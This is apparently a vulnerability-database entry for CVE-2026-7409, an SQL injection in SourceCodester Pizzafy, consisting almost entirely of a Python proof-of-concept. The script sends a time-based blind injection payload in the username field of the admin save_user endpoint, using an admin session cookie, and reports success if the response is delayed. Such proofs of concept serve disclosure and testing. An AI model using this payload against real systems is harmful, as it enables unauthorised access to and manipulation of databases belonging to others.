CVE-2026-7409 SourceCodester Pizzafy SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-ip/admin/ajax.php?action=save_user" # Headers to mimic a legitimate browser request headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "PHPSESSID=admin_session_id" # Requires High Privilege (Admin Session) } # Malicious payload testing for SQL Injection # Example: Testing for time-based blind injection in a vulnerable parameter payload_data = { "username": "admin' AND SLEEP(5)-- -", "email": "[email protected]", "password": "password", "save_user": "Submit" } try: response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check if the response time indicates a successful delay (SQL Injection) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection caused a delay.") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"[!] Error during request: {e}")